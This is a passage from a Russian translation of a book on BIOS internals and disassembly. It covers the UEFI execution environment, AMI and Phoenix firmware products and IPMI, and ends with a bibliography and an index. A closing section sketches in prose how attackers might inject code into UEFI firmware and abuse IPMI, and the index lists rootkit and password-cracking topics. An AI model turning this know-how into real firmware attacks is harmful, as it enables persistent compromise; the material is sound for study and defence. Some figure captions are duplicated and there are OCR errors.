Однопроцессорный
Защищенный
Страничный режим не включен
Селекторы установлены в плоский режим, и по-другому не используются
Прерывания разрешены, но изо всех обработчиков прерываний поддерживаются лишь функции таймера загрузочных сервисов UEFI. (Все загруженные драйверы устройств обслуживаются синхронно методом опроса.)
Флаг направления в регистре eflags очищен
Другие универсальные флаговые регистры не определены
Доступно, по крайней мере, 128 Кбайт пространства стека
Приложение, разработанное согласно этой спецификации, может изменять режим исполнения процессора, но образ UEFI должен обеспечить исполнение загрузочных и рабочих сервисов микропрограммного обеспечения в предписанной среде исполнения.
Платформы х64
Все функции вызываются в соответствии с соглашениями о вызовах языка С.
При исполнении загрузочных сервисов процессор работает в следующем режиме исполнения:
Однопроцессорный
"Длинный режим" (long mode), в 64-разрядном подрежиме
Страничный режим включен, и любое адресное пространство, определенное картой памяти UEFI отображено тождественно (виртуальные адреса соответствуют физическим)
Селекторы установлены в плоский режим и по-другому не используются
Прерывания разрешены, но из всех обработчиков прерываний поддерживаются лишь функции таймера загрузочных сервисов UEFI. (Все загруженные драйверы устройств обслуживаются синхронно методом опроса.)
Флаг направления в регистре eflags очищен
Другие универсальные флаговые регистры не определены
Доступно, по крайней мере, 128 Кбайт пространства стека
Таким образом (см. только что приведенную выдержку из спецификации UEFI), для того, чтобы обеспечить возможность исполнения процедур UEFI, система должна работать в защищенном режиме (платформы IA-32) или в 64- разрядном подрежиме "длинного" (long) режима (платформы х64) с плоской адресацией. Из этой же выдержки со всей очевидностью следует и то, что код, исполняющийся в одной из описанных сред, скомпилирован с применением компилятора языка С. Применение этого языка обусловлено тем, что он хорошо подходит для программирования системных задач, подобных этой. Обратите внимание, что исполняемый код внутри образа UEFI может быть в виде байт-кода EFI, т. е. не в виде собственного (native) исполняемого кода платформы, на которой он работает. Байт-код EFI является аппаратнонезависимым, так как он исполняется в интерпретаторе EFI, который должен присутствовать в микропрограммном обеспечении стандарта UEFI.
Приведенные здесь сведения — это лишь малая толика информации, содержащейся в спецификации UEFI, которая насчитывает свыше 1000 страниц. Разобраться со всем этим материалом без какого бы то ни было путеводителя будет непросто. Поэтому я хочу дать несколько рекомендаций, которые помогут вам работать более продуктивно. Ключевыми являются главы 1 и 2 спецификации, причем особое внимание следует уделить разделу 1.5. Овладев понятиями, изложенными в этих главах, вы будете в силах самостоятельно разобраться с материалом в любом из других разделов спецификации.
Обзорная информация о поставщиках BIOS
В этом подразделе рассматриваются продукты EFI и UEFI от двух основных поставщиков микропрограммного обеспечения, AMI и Phoenix Technologies, так как именно они задают общее направление развития технологий BIOS.
Компания AMI предлагает несколько продуктов, реализующих спецификацию EFI. Продуктов UEFI в настоящее время у нее нет. Но на основании материалов, представленных далее в этом подразделе, можно определить общее направление, в котором двигается AMI, выполняя свои разработки. Компания AMI предлагает следующие продукты, соответствующие спецификации EFI:
AMI Aptio. Продукт Aptio — это базовый код микропрограммного обеспечения, соответствующий стандарту EFI 1.10 и написанный на языке С. Со-
гласно спецификации, структура новейшего базового кода микропрограммного обеспечения продукта Aptio содержит следующие компоненты:
Шаблон переноса (porting template), который облегчает перенос кода на разные платформы.
Примечание
Интерфейс EFI является межплатформенным интерфейсом микропрограммного обеспечения.
Структура каталогов состоит из функциональных каталогов платы, чипсета и ядра.
Применяется табличный способ инициализации.
Модуль CSM (compatibility support module — модуль поддержки совместимости). Этот модуль содержит процедуры, предназначенные для поддержки наследуемых интерфейсов BIOS, в которых может нуждаться операционная система, работающая на целевом компьютере.
Поддержка раздела AMI HDP. Как было показано в подразд. 15.1.1, невидимый раздел (HDP) используется микропрограммным обеспечением стандарта EFI для хранения некоторых данных. На рис. 15.2 раздел HDP обозначен как системный раздел UEFI.
Поддержка интерфейса IPMI (intelligent platform management interface — интеллектуальный интерфейс управления платформой) версии 2.0.
AMI Enterprise64 BIOS. Это микропрограммное обеспечение, применяемое в системах Itanium и соответствующее требованиям стандарта EFI 1.10.
Приложения AMI РВА (preboot applications — предзагрузочные приложения). Этот набор приложений и инструментов EFI хранится в разделе AMI HDP. Как уже говорилось ранее (см. рис. 15.3), приложения AMI РВА представляют собой приложения EFI или UEFI. Предоставляются следующие приложения AMI РВА:
о AMI Rescue и Rescue Plus. Это утилиты восстановления системы. Утилита AMI Rescue восстанавливает систему в исходное состояние, заданное производителем, а утилита Rescue Plus дает возможность восстановить систему к предыдущей точке ее состояния без потери данных (Rescue Plus).
Web-браузер.
Диагностические утилиты.
Обновление BIOS.
Инструментарий для резервного копирования и восстановления раздела HDP.
Продукт AMI Aptio содержит модуль, соответствующий стандарту TCG. Этот модуль реализован в виде драйвера EFI или в виде драйвера UEFI. Судя по последней общедоступной спецификации продукта AMI Aptio, этот модуль еще находится в стадии разработки.
Сравнительный анализ всех продуктов компании AMI позволяет выявить четкие тенденции ее движения в направлении перехода на разработку микропрограммного обеспечения стандарта UEFI с сопутствующими дополнительными приложениями. Сравнив требования последней спецификации UEFI (датированной 31 января 2006 г.) с состоянием микропрограммного обеспечения, предлагаемым компанией AMI в настоящее время, можно сделать вывод, что продукты, соответствующие требованиям UEFI, еще находятся в стадии разработки. Кроме того, в одной из своих технических статей компания AMI сообщает, что при разработке современного микропрограммного обеспечения они пользуются средой разработки, называемой AMI Visual eBIOS. По сравнению с инструментарием на основе DOS, используемым для разработки кода BIOS предыдущего поколения, эта среда позволяет ускорить процесс разработки. В настоящее время, компания AMI все еще выпускает AMIBIOS8 для таких поставщиков материнских плат, как Gigabyte и DFI. Большинство версий AMIBIOS8 еще не являются продуктами, основанными на стандартах EFI или UEFI. Тем не менее, благодаря модульности AMIBIOS8, они предоставляют путь для гладкой и беспроблемной миграции к продуктам на основе UEFI в будущем.
Приведенное описание продуктов EFI и UEFI компании AMI позволяет получить представление о будущих микропрограммных продуктах этой компании (рис. 15.4).
Стоит отметить, что диаграмма, показанная на рис. 15.4, отражает лишь мое вйдение направлений развития будущих продуктов компании AMI. В настоящее время, сама компания еще не опубликовала ни одного документа, описывающего ее планы развития будущих продуктов.
Теперь рассмотрим другого поставщика микропрограммного обеспечения для настольных, серверных, мобильных и встроенных систем — Phoenix Technologies. Компания Phoenix поставляет обширную линейку продуктов, применяющих технологии EFI и UEFI. Все они основаны на программном обеспечении CSS (Core System Software). Компания Phoenix уделяет особое внимание безопасности своих продуктов на основе CSS. Эти продукты продаются под торговой маркой TrustedCore:
TrustedCore Server и Embedded Server для серверных приложений
TrustedCore Embedded для приложений встроенных систем
TrustedCore Desktop для настольных платформ
TrustedCore Notebook для мобильных платформ
Продукты на основе AMIBIOS8 для настольных систем и серверовПродукты на основе AMIBIOS8 для настольных систем и серверовБудущие продукты AMI BIOS для настольных систем и серверовБудущие продукты AMI BIOS для настольных систем и серверовПостепенный переход к коду, соответствующему спецификации UEFIПостепенный переход к коду, соответствующему спецификации UEFIПредзагрузочные приложения AMI (AMI PBAs)Предзагрузочные приложения AMI (AMI PBAs)Будущие предзагрузочные приложения AMIБудущие предзагрузочные приложения AMIРис. 15.4. План развития продуктов, соответствующих требованиям UEFI, компании AMIРис. 15.4. План развития продуктов, соответствующих требованиям UEFI, компании AMIПостепенный переход от поддержки EFI к поддержке UEFI
Продукты на основе AMIBIOS8 для настольных систем и серверов
Продукты на основе AMIBIOS8 для настольных систем и серверов
Будущие продукты AMI BIOS для настольных систем и серверов
Будущие продукты AMI BIOS для настольных систем и серверов
Постепенный переход к коду, соответствующему спецификации UEFI
Постепенный переход к коду, соответствующему спецификации UEFI
Предзагрузочные приложения AMI (AMI PBAs)
Предзагрузочные приложения AMI (AMI PBAs)
Будущие предзагрузочные приложения AMI
Будущие предзагрузочные приложения AMI
Рис. 15.4. План развития продуктов, соответствующих требованиям UEFI, компании AMI
Рис. 15.4. План развития продуктов, соответствующих требованиям UEFI, компании AMI
Разработка новых дополнительныхnt ••=, ,3aq узочных приложений
Подробная информация о реализации Phoenix TrustedCore для настольных платформ была приведена в главе 13. В данной же главе дается сравнительный анализ доступных продуктов TrustedCore (табл. 15.1).
Таблица 15.1. Сравнительная таблица продуктов TrustedCore компании Phoenix
TrustedCore Server and Embedded Server
Предоставляет поддержку интерфейса IPMI для удаленного управления сервером как в Microsoft .NET, так и в неоднородной среде
Оптимизирован с целью упрощения реализации в модульной, кластерной и распределенной (grid) моделях
Объединяет доверительные возможности с политикой безопасности предприятия, что позволяет повысить защищенность сетей
Поддерживает среду разработки CoreArchitect 2.0, с возможностями копирования перетаскиванием (drag-and-drop) и автоматической кодогенерацией
Таблица 15.1 (окончание)
TrustedCore Embedded
Поддерживает всю номенклатуру встроенных платформ, чипсетов и операционных сред, что позволяет создать любую вычислительную систему, от PC промышленного назначения под управлением Windows и до встроенных blade-систем
Предоставляет широчайший диапазон способов загрузки
Может загружаться с разных типов носителей или по сети
Максимально использует стандартную промышленную архитектуру х86 и промышленные экономические расчеты, что позволяет реализовать абсолютно новые типы встроенных устройств
Поддерживает среду разработки CoreArchitect 2.0, с опцией копирования перетаскиванием (drag-and-drop) и автоматической кодогенерацией
TrustedCore Desktop
Поддерживает последние процессоры и чипсеты всех крупных поставщиков
Короткое время доводки, что позволяет быстрое создание прототипов
Поддерживает все новейшие промышленные стандарты аппаратных шин
Поддерживает все новейшие промышленные стандарты программного обеспечения
Поддерживает среду разработки CoreArchitect 2.0, с опцией копирования перетаскиванием (drag-and-drop) и автоматической кодогенерацией
TrustedCore Notebook
Поддерживает весь диапазон чипсетов и форм факторов для мобильных платформ, включая ноутбуки, субноутбуки и планшетные ПК
Оптимизированное управление энергопотреблением
Поддерживает возможности Speedstep и PowerNow!, а также управление питанием во всех режимах энергосостояния
Поддерживает семейство продуктов Absolute ComputracePlus
Поддерживает среду разработки CoreArchitect 2.0, с опцией копирования перетаскиванием (drag-and-drop) и автоматическойкодогенерацией
В табл. 15.1 не указывается явно, что продукты компании Phoenix на основе кодовой базы TrustedCore соответствуют стандарту EFI. Но в действительности кодовая база TrustedCore соответствует стандарту EFI версии 1.1. Поэтому данный продукт должен претерпеть лишь незначительные эволюционные изменения, чтобы обеспечить поддержку стандарта UEFI 2.0. Эти изменения во многом подобны изменениям, которые должны с той же целью быть внесены в продукты AMI Aptio и AMI Enterprise64 BIOS (рис. 15.4). Поэтому предсказать дальнейшее направление развития продуктов BIOS компании Phoenix не составит большого труда.
Еще одна возможная область для расширения в сфере BIOS — возможность удаленного управления серверами и встроенными платформами. Компания Intel разработала техническую спецификацию интерфейса удаленного управления, реализуемого как часть аппаратного обеспечения сервера. Интерфейс называется Intelligent Platform Management Interface (интеллектуальный интерфейс управления платформой). Последнюю версию спецификации можно скачать по адресу http://www.intel.com/design/servers/ipmi/. Интерфейс IPMI особенно интересен тем, что с его помощью управляющий компьютер может удаленно выполнять задачи по администрированию сервера, например, перезагрузить его операционную систему в случае сбоя. Это стало возможным благодаря использованию специального "побочного" сигнального интерфейса, который позволяет управлять удаленным компьютером, не требуя работающей операционной системы. В обычных условиях, чтобы подключиться к удаленному компьютеру по сети, необходимо, чтобы на этом компьютере была запущена операционная система, работающая в штатном режиме. Но интерфейс IPMI требует наличия так называемого контроллера ВМС (baseboard management controller — контроллер управления материнской платой). Контроллер ВМС — это дочерняя плата, вставляемая в материнскую плату. Эта дочерняя плата содержит специальный микропроцессор для наблюдения за состоянием системы, управления ею и оповещения о неисправностях, независимо от основного процессора. Поэтому, даже если основной процессор выйдет из строя, с системой все равно можно будет связаться посредством контроллера ВМС. С помощью интерфейса ВМС администратор может перезапустить компьютер или провести необходимые восстановительные работы. Будет весьма интересно наблюдать за реализацией этой технологии в будущих системах.
Кроме технологии IPMI, другой важной технологией, которой следует уделять внимание, является технология АМТ компании Intel (Active Management Technology — технология активного управления). Эта технология уже реализована в некоторых новейших чипсетах компании Intel. Обе эти технологии требуют соответствующей поддержки на микропрограммном уровне. Данное
обстоятельство представляет особый интерес как для разработчиков микропрограммного обеспечения, так и для специалистов по дизассемблированию. В заключение, я бы порекомендовал вам ознакомиться с техническими статьями и документацией компаний AMI и Phoenix на архитектуру АТСА (advanced telecommunications computing architecture — архитектура передовых сетевых вычислений). Системы АТСА в основном реализуют низкоуровневые возможности удаленного управления, подобные интерфейсу IPMI.
Универсальная компьютеризация и разработки BIOS
Термин универсальная компьютеризация (от английского ubiquitous computing) отражает повсеместное внедрение вычислительных устройств во все аспекты повседневной жизни, в противовес их использованию в традиционных ролях. Он подразумевает ситуации, в которых вычислительные устройства не воспринимаются как компьютеры, предназначенные для осуществления их традиционных вычислительных задач. Напротив, они воспринимаются как бытовые устройства, наподобие холодильников или микроволновых печей.
В главе 14 было приведено описание телевизионной приставки STB, основанной на встроенной технологии х86. Как было показано в разд. 14.2.1, это устройство можно рассматривать как появившееся в результате тенденции универсальной компьютеризации, так как большинство пользователей даже не осознают, что имеют дело с вычислительным устройством, а воспринимают его как интеллектуальный бытовой прибор, предназначенный для развлекательных целей .
Как было изложено в разд. 14.2.1, модуль etBIOS используется как импровизированное дополнение к двоичному коду Award BIOS, на котором основано данное встроенное устройство х86. В этом отношении, данное обстоятельство можно трактовать как неспособность устаревшей архитектуры BIOS справиться с новыми разработками в технологии микропрограммного обеспечения. В будущем, это не будет представлять особых проблем, так как технология BIOS перейдет к использованию решений, соответствующих стандарту UEFI. Это облегчит разработку новых средств, таких как etBIOS, превращающих обычные системы х86 в интеллектуальные бытовые приборы на базе встроенных систем х86. Наконец, широкая поддержка спецификации UEFI позволит разработчикам дополнительных приложений UEFI, таких как etBIOS, гладко и почти без проблем переносить свои приложения между BIOS разных поставщиков. Идея "системы х8б повсюду", выдвинутая компанией AMD (см. главу 14), также является движущей силой, ускоряющей тех-
нический прогресс в области разработки микропрограммного обеспечения встроенных систем х8б.
Решающим фактором в разработке микропрограммного обеспечения для устройств х86, который поможет воплощению в жизнь идеи универсальной компьютеризации, является наличие четко определенного интерфейса для создания встроенных приложений, работающих поверх системного микропрограммного обеспечения. Спецификация UEFI проложила дорогу, предоставляя такой интерфейс для разработки предзагрузочных приложений, также называемых приложениями UEFI. Предполагается, что в ближайшие годы будет наблюдаться значительный рост количества приложений UEFI. Это особенно относится к разработке дополнительных приложений, которые превращают платформу х86 в интеллектуальные бытовые устройства с дополнительными возможностями.
Будущие угрозы безопасности BIOS
В заключение, рассмотрим возможные последствия новейших достижений в области технологий BIOS, изложенных в предшествующих разделах, и их влияние на безопасность компьютерных систем.
Начнем со сценария внедрения стороннего кода в BIOS. Способ внедрения стороннего кода в Award BIOS с помощью таблицы переходов процедуры POST был рассмотрен в разд. 6.2. Такой простой способ внедрения кода нельзя применить против приложений EFI или UEFI. Этому препятствует криптографическая функция проверки целостности кода, встроенная в микропрограммное обеспечение стандарта EFI и UEFI. Поэтому любой способ внедрения кода в этот вид микропрограммного обеспечения должен пройти проверку целостности кода. Как было показано в разд. 13.1.4, в продукте Phoenix TrustedCore код для проверки целостности кода находится в области начальной загрузки. В других BIOS стандарта EFI и UEFI проверка целостности кода может быть реализована таким же образом. Это позволит предотвратить несанкционированное изменение основного модуля BIOS во время загрузки. Следовательно, для того, чтобы завершиться успехом, атака, направленная на внедрение вредоносного кода в BIOS стандарта UEFI, должна в качестве составной части содержать и атаку на процедуру проверки целостности кода в блоке начальной загрузки, а также внедрить код в основной модуль BIOS. При другом сценарии атаки, возможно более легком, разрабатывается приложение UEFI для внедрения в BIOS стандарта UEFI. Но чтобы атака по этому сценарию завершилась успешно, злоумышленник должен проверить, применяется ли в системе аппаратный модуль ТРМ. Если этот модуль применяется, то для успеха злоумышленнику потребуется сначала фальсифициро-
вать хеш-значение для аппаратной части стандарта TCG соответствующего приложения UEFI. Провести такую атаку более сложно, чем атаку внедрением кода в BIOS, описанную в разд. 6.2.
Наконец, необходимо принимать во внимание и то обстоятельство, что двоичные компоненты написаны на языке С.
Усложнение процесса разработки BIOS имеет свою цену — это может повысить возможность проведения сложных атак, таких как переполнение буфера, и атак на программное обеспечение, разработанное с применением компиляторов языков более высокого уровня, чем ассемблеры (например, компиляторов С).
Тем не менее, злоумышленнику потребуется преодолевать криптографическую защиту проверок целостности кода BIOS. Еще одно обстоятельство, вызывающее озабоченность, заключается в появлении атак на системы, реализующие спецификацию IPMI. В случае, если злоумышленники получат доступ к такой системе, они также смогут взять данную систему под свой контроль, даже если ее главный процессор и не работает должным образом. В данное время я занимаюсь исследованием возможностей проведения атак на основе IPMI. Это актуальный и важный вопрос, так как системы АТС А, широко используемые в системах передачи данных, всегда реализуют интерфейс IPMI.
Список литературы
Петров С. Шины PCI, PCI Express. Архитектура, дизайн, принципы функционирования. СПб.: БХВ-Петербург, 2006.
Петцольд Ч. Программирование для Windows 95, т. I и II, СПб.: BHV. 1997.
Касперски К. Образ мышления — дизассемблер IDA. М.: Солон-Р, 2001.
Зубков С. Assembler для DOS, Windows и UNIX. М.: ДМК, 2000.
Пирогов В. Ассемблер и дизассемблирование. СПб.: БХВ-Петербург, 2006.
Кип Р. Ирвин. Язык Ассемблера для процессоров Intel. М., СПб., Киев: "Вильямс”, 2005.
Соломон Д., Руссинович М. Внутреннее устройство Microsoft Windows 2000. СПб.: Питер; М.: Издательско-торговый дом "Русская Редакция", 2001.
Они У. Использование Microsoft Windows Driver Model. СПб.: Питер, 2007.
Кэрриэ, Б. "Криминалистический анализ файловых систем", СПб., "Питер", 2006.
Описание компакт-диска
Для овладения фундаментальными концепциями BIOS, необходимо добиться глубокого понимания принципов работы аппаратных средств ПК на самом низком уровне, а также ознакомиться с новейшими шинными протоколами, такими, как HyperTransport и PCI Express. Кроме того, вам потребуется научиться основам работы с дизассемблером IDA Pro и другими средствами обратной разработки.
На компакт-диске исследователи кода BIOS найдут сопроводительные материалы, призванные помочь в освоении принципов дизассемблирования BIOS. Материалы для каждой главы сгруппированы по папкам, пронумерованным соответственно номерам глав.
Содержимое каждой папки выглядит следующим образом:
Вложенная папка IMAGES — иллюстрации к соответствующей главе.
Вложенная папка LISTINGS — дизассемблированные листинги и дампы, пронумерованные в порядке, соответствующем нумерации листингов в главе.
Вложенная папка SRC — исходный код приложения для анализа двоичных файлов BIOS (подключаемый модуль для IDA Pro). Для компиляции этого кода вам потребуется следующее программное обеспечение:
IDA Pro version 4.9 SDK;
Microsoft Visual Studio 2003 или более новая версия.
Предметный указатель
*.bin 82
*.с 57
*.срр 57
*.dat 722
*.idc 44
♦Iha 660
*.р64 59
*.plw 59
*.rom 37
A
Acorp:
4865GQET 709,712,722,733
7KM400QP 722
ACPI 691,737
Advanced Micro Devices 705
Advanced telecommunications computing architecture 747
Advantech PCM-5822 729, 733
AGP 30
AMD 18, 705, 730
AMD Athlon 64 99
AMD Geode GX 730
AMD64 102
AMD-8111 HyperTransport I/O Hub 38
AMD-8131 HyperTransport PCI-X
Tunnel 38
AMI 20, 741
AMI Aptio 741,743,746
AMI BIOS 10, 13,550, 661
AMI Enterprise64 746
AMI Visual eBIOS 743
Amibcp 661
AMIBIOS8 743
AMT:
технология 746
API 737
API файловой системы перехват 609
APIC См. advanced programmable interrupt controller
APIC Configuration Space 99
ASCII 35,47
Asus TUSL2C 726
AT&T 89
Athlon 64 18
ATM 729
Atmel 10
Atmel AT29C512 460, 465
Award BIOS 10, 13, 75, 536, 550, 639.
646, 725
версии 4.5 IPG 623
версии 6.00PG 545, 623, 652
В
Backdoor 511
BAR 26, 463. Cm. base address registers программируемые биты 27 формат регистра 27
Base address registers 19
Basic input/output system 9
BDA Cm. BIOS data area
BEV 89, 351, 352 Си. Bootstrap entry vector
BIOS 1,9, 76,530
Plug-and-Play 290
Plug-and-Play, идентификатор
устройства 295
взлом пароля 529
видео, обработка 119
встроенной системы х86 707
гибридная 707
горячая замена 13
двоичный код 10, 13
дизассемблирование, пошаговая
процедура 132
заголовок, дополнительный для
Plug-and-Play 294, 295
защита от атак 528, 674
маркировка чипа 12
материнской платы 9
механизм исполнения крда 95
нарушение целостности
контрольной суммы 530
несжатый компонент 120
нижняя область 113
параметры 10
пароли 528
платы расширения 15
проверка целостности
компонентов 528
процедуры, поиск 282
прошивка 12
руткит 565, 622
системная 120
структура двоичного кода 120
тенденции развития 734
уязвимости 5
BIOS AMI:
структура 206
блок распаковщика, копирование из
ROM в RAM 210
движок распаковщика, инициализация 213
движок распаковщика, работа 236
заголовок упакованного кода 215
инициализация стека 209
исполнение после перемещения 257 код начальной загрузки 208,212,237
копирование в RAM 212, 237 компоненты, расположение в
памяти 252
контрольная сумма, проверка 244
отображение на адресное
пространство 206
процедура Execute_POST 257
процедура POST, подготовка 247
распакованные компоненты, перемещение 252
распаковщик LHA/LZH 215
сжатые компоненты, распаковка 252
системная BIOS, проверка на действительность 245
справочник контрольных точек 208
таблица переходов 208
таблица переходов POST 257, 259
утилита AMIBCP 207
утилита Amideco 208
функция Bootblock_POST_
D7h 245, 247
функция Calc_Module_Sum 244
функция Copy_decomp_
result 237, 239
функция Expand 252
функция Prepare_sys_BIOS 240, 244
функция Relocate_BIOS_
Binary 240, 244
функция Relocate_BIOS_Modules 252
функция setup_stack 209
BIOS Award:
boot block structure signature 148
адрес движка BBSS 152
блок распаковки, нахождение 191
блок распаковки,
перемещение 189, 191
временная память 184
движок распаковшика 162, 186
движок распаковщика, дизассемблирование 173
двоичная сигнатура процедуры 206
затенение в RAM 162
код начальной загрузки 135
код начальной загрузки, копирование и исполнение в RAM 154, 156
код, вставка в таблицу переходов POST 269
компоненты расширения, распаковка 192
контрольная сумма, вычисление 184
контрольная сумма, проверка 167
контрольная сумма, имитация
проверки в IDA Pro 169
метка конца системной BIOS 138
метка chk_sum_error 169
метка конца упакованного
компонента 138
метка конца файла 167
метка начала упакованного
компонента, -1Н5- 138
отображение на адресное
пространство 135
программа, ReadHeader 167
процедура Decompress 172
процедура ЕРА,
модифицирование 283
процедура Calc_LZH_hdr_
CRC16 167
процедура Decompress 173
процедура Decompress.
Component 195
процедура
Decompress_System_BIOS 167, 172, 195
процедура межсегментный
вызов 195
процедура фиктивная 186
распакованные компоненты,
расположение в памяти 183
распаковка 164, 185
распаковка, неудачная 162
сегмент XGROUP 201
сервисы, вызов 198
сигнатура BBSS 148
системная BIOS, извлечение
с помощью modbin 276
системная, перемещение в RAM 161
системная, перемещение
распакованной 163
системная, распаковка 157, 161
системная, сохранение распакованной 163
системная, точка входа 157, 185
совмещение адресов 156, 162
соответствие адресов адресного пространства адресам hex- редактора 136
структура, область начальной загрузки 134
структура, область распаковщика 134
структура, расширение системной BIOS 134
таблица переходов POST 186, 206
таблица переходов POST, модифицирование 278 упакованные компоненты, распаковка 138
файл _en_code.bin 137
файл _item.bin 137
файл 4bgflp50.bin 136
файл 5209.bin 137
файл acpitbl.bin 137
файл awardbmp.bmp 137
файл awardext.rom 136
файл awardext.rom, распаковка 189
файл awardeyt.rom 137
файл Ь5789рхе.1от 137
файл cprfvll8.bin 137
файл \Fl\64n8iip.bmp 137
файл \Fl\foxconn.bmp 137
файл it8212.bin 137
файл original.bin 265
файл ppminit.rom 137
файл raid_or.bin 137
BIOS data area 529
BIOS flash protection 14
BIOS Foxconn:
упакованные компоненты 136
чисто двоичные компоненты 139
BIOS ISA 15
BIOS PCI 15
BIOS Saviour 12
BIOS Setup 10, 14
BIOS для встроенных систем x86 взлом 732
BIOS платы расширения PCI разработка руткита 662
BIOS расширения:
PCI. вызов 343
PCI, образ 305
PCI, основной заголовок 342
PCI, сигнатура 306
PCI, сигнатура структуры данных PCI 307
PCI, содержимое 305
PCI, структура 342
PCI, структура данных PCI 307
PCI, формат заголовка 306
PCI, формат структуры данных
PCI 307
Plug-and-Play 292
Plug-and-Play, вектор BEV 296
Plug-and-Play, вектор входа для загрузки 301
Plug-and-Play, вектор отключения 297
Plug-and-Play, вектор получения информации о статических ресурсах 298
Plug-and-Play, загрузка RPL 297
Plug-and-Play, вектор точки входа
для загрузки 297
Realtek 8139Х 345
VGA, обработка процедурой
POST 310
вектор BEV 351,352
вектор инициализации 293
заголовок 292
заголовок PCI 305
загрузка по сети 313 инициализация 299 инструменты разработки, ассемблер
GNU AS 315
инструменты разработки, компилятор GNU GCC 315
инструменты разработки, компоновшик GNU LD 315
инструменты разработки, расширитель DOS DOS4GW 316
инструменты разработки, утилита прошивки flash4.exe 316
инструменты разработки, утилита управления компиляцией GNU Make 315
обнаружение процедурой POST 302
обработка процедурой POST 310
образ 304
образ, обязательная
информация 306
образ, создание 338
образ, структура 311
сигнатура AA55h 293
стандартный заголовок 293
точка входа функции INIT 309
утилита прошивки, rtflash.exe 314
утилита прошивки, flash4.exe 314
утилита установки адресного пространства, rset8139.exe 314
файл build_rom.c 329
файл crtO.S 317
файл main.c 318
файл makefile 317, 329
файл pci_rom.ld 318
файл ports.c 318
файл rpl.rom 348
файл video.c 318
функция IN IT, передача параметров 311
ход исполнения
инициализации 301
чип Nvidia 7600 GT 35 3
чип, Atmel АТ29С512 314
чип, SST 29ЕЕ512 314
bios_probe 376
BLR 678
blue screen of death 731
Boot from LAN Activation
опция BIOS Setup 301
Bootstrap Entry Vector 89
Borland 695
Borland C/C++ 54
Breakpoint exception 600
BSOD 731
С
etBrowser 711
Cbrom 547, 550
Chip select line 463
Cisco PIX 729
Cisco Systems 729
CMOS 509, 710. Cm. complementary metal-oxide semiconductor battery 10
Setup 725 контрольная сумма 675 сброс контрольной суммы 536 сброс содержимого 534
Common Interface Model 498
CompactFlash 707
Complementary metal-oxide semiconductor 10
ComputracePlus 745
CPU 15
CRTM 686, 695
Ctags 369,417,459
Ctflasher 456
etDVD711
Etherboot BIOS 302
Ethernet 709
Executable and Linking Format 87
Extensible firmware interface 734
F
FASM 77, 79, 670
FASMW81,664
FAT 13
FAT32 623
Firmware 16, 132
Flash ROM 10
flash_n_burn
для Linux 363
для Windows 376
Foxconn 955X6AA-8EKRS2 35
Foxconn 955X7AA-8EKRS2 32,
512,547
Freebios 363,416
FWH 675, 679
D
G
DebugView 475
Device ID 417, 456
DFI 865PE Infinity 451
DIP Cm. dual in-line package
DOS 95
область совместимости 96
DSL 709
Dual in-line package 11
GCC 82, 535, 722
Geode GX1 730
Geode GXLV-200 730
Gigabyte K8N SLI 128
Gigabyte Technology 564
GNU3
GNU Assembler 83
GNUC4
E
GNU C/C++ 54
GNU Compiler Collection 76, 82
EEPROM 359
eEye BootRoot 623
EFI 2, 734
байт-код 741
Electrically erasable programmable
ROM 359
Elegent Technologies 710, 724
ELF 5, 87
etBIOS 709, 724
алгоритм исполнения 722
GNU LD 83
GNU-Linux 87
H
Hal.dll 625
Hewlett-Packard 497
Hex Workshop 35, 79
Hexdump 544
Нех-редактор
Hex Workshop 263
HI 29
Hub interface 29
HyperTransport 2,4, 9, 14, 17, 33
I
VO APIC 616
I/O request packet 381
IA-32 739, 741
IA-32E 18
IBM 497
ICH 29. Cm. Input/output controller hub
IDA Pro 34, 132, 550
advanced 36
freeware 36
SDK 54
standard 36
горячая клавиша, С 52
горячая клавиша, Enter 54
горячая клавиша, Esc 54
горячая клавиша, G 52
горячие клавиши 51
горячие клавиши, по умолчанию 52
заголовочные файлы 44
загрузка двоичного файла 43
комментарии 43
конфигурационный файл 37
модули 54
модуль, создание 55
модуль, функция init 62, 71
модуль, функция msg 61
модуль, функция run 59, 62
модуль, функция term 62
оператор, [ ] 45
подключаемые модули 34
режим работы, 16-битный 41
режим работы, выбор 41
сценарии 34
сценарии, исполнение 47
сценарии, окно создания 50
сценарии, типы переменных 43
сценарий для анализа таблицы
переходов POST AMI BIOS 260
файл, idagui.cfg 51, 52, 54
файл, ide.ide 45
функции, объявление
внутренних 45
функция, main 44, 45
функция, message 45
функция, relocate_seg 45
функция, SegCreate 45
функция, SegRename 45
функция, SetFixup 196
язык сценариев 4
IDA Pro 4.9 695
Ida.cfg 37
Idc.idc 44
IDE 23
IDT 566
модификация 599
EPS 501
In-circuit emulators 36
INIT# 678
Input/output control 381
In-service register 638
Intel 2, 29,448, 502, 622, 746
Intel 430TX 614
Intel 440BX 614, 617, 726
Intel 82371 AB (PIIX4) 614
Intel 865G 709
Intel 955X Express 18
Intel 955X-ICH7 100
Intel Itanium 735
Intel PIIX 566
Intel PIIX4 615
Intel Xeon 41
Intelligent Platform Management
Interface 746
Intermediate entry point structure 501
Interrupt descriptor table 566
Interrupt vector table 638
Invalid opcode 600
IOCTL381
обработчик кодов 412
IOPL См. I/O privilege level
EMI 746
IRP381,408
ISA 2
ISR 631
I will VD133 270, 362, 627
J, К
JEDEC 417, 622
Juniper M7i 729
JunOS 729
Kernel mode 359
L
Linux 5, 77, 359, 361, 369, 453,456, 460, 529, 540, 543, 563, 683 встроенная версия 731
Linux Slackware 9.1 362
Low pin count interface 145
LPC 23, 100, 374, 675
LZH 722
заголовок 724
M
Managed Object Format 498
MCH 29. Cm. memory controller hub
MDL413
Memory controller hub 29
Memory descriptor list 413
Micorsoft Visual Studio 54
Microsoft 681,739
MMIO 381,413
Mmtool 661
modbin 550
версия 2.01.01 659
MOF Cm. Managed Object Format
MSDN 733
MuTIOL 29
N
NASM 77
Non-volatile RAM 10
Northbridge 17
NTFS 623
Ntoskrnl.exe 625
NVRAM 10
О
OEM 38, 508
Opteron 18
OSPM 693
Overflow 600
P
PCI 2,4, 14, 17, 377. Cm. peripheral component interconnect конфигурационное адресное пространство 20, 23
порт адреса 22
порт данных 22
PCI Express 2,4, 9, 14, 17 протокол 30
PCI Special Interest Group 20
Pciutils v. 2.1.11 для Linux 451
PCI-X 14
PE32 739
PE32+ 739
Pentium 4 41
Peripheral component interconnect 9
Phoenix Award 20
Phoenix BIOS 661
Phoenix BIOS Editor 662
Phoenix Secure WinFlash 688
Phoenix Technologies 741, 743
Phoenix TrustedCore BIOS 684, 686
PIC 628
инициализация 631
операционный режим 631
Plastic lead chip carrier 11
Platform configuration registers 686
PLCC 11. Cm. plastic lead chip carrier
Pnoenix Secure WinFlash 695
POSIX 366
